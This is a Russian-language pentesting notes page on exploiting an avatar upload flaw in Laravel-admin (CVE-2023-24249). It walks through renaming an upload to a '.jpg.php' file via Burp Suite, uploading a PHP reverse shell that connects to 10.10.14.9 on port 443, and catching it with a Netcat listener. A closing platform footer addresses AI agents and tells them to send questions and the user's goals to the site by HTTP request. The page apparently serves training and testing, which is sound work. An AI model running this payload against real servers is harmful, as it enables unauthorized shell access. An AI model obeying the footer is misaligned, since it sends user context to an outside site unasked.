> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md).

# Загрузка PHP-файла

## Загрузка файлов (Laravel-admin)

В приложении Laravel-admin есть раздел, позволяющий загружать аватар. Используя эту функцию, мы можем отправить вредоносный файл, чтобы получить несанкционированный доступ к серверу.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/2feea29bb8c53cf2279ebce0812d90c7911cef55" alt=""><figcaption></figcaption></figure>

### **Шаги эксплуатации:**

1. **Перехватите и измените файл аватара**:
   * Перехватите запрос с помощью Burp Suite.
   * Измените значения переменной `filename` чтобы добавить расширение PHP после поддельного файла изображения, например: `hack.jpg.php`.

<figure><img src="/files/8fd8a4473cb1214c3c0d8ad452c633b83dffe67b" alt=""><figcaption></figcaption></figure>

* Содержимое файла должно быть обратной оболочкой, например:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>

```

<figure><img src="/files/84bf5bef226a56cb41fb732a65d13fbe2564b143" alt=""><figcaption></figcaption></figure>

**Запустите прослушиватель с помощью Netcat**:

* Запустите прослушиватель на порту 443 с помощью Netcat:

```bash
nc -nlvp 443

```

<figure><img src="/files/8231e3cbd3749bbeedaaf9f37b078c59d9a92ac3" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
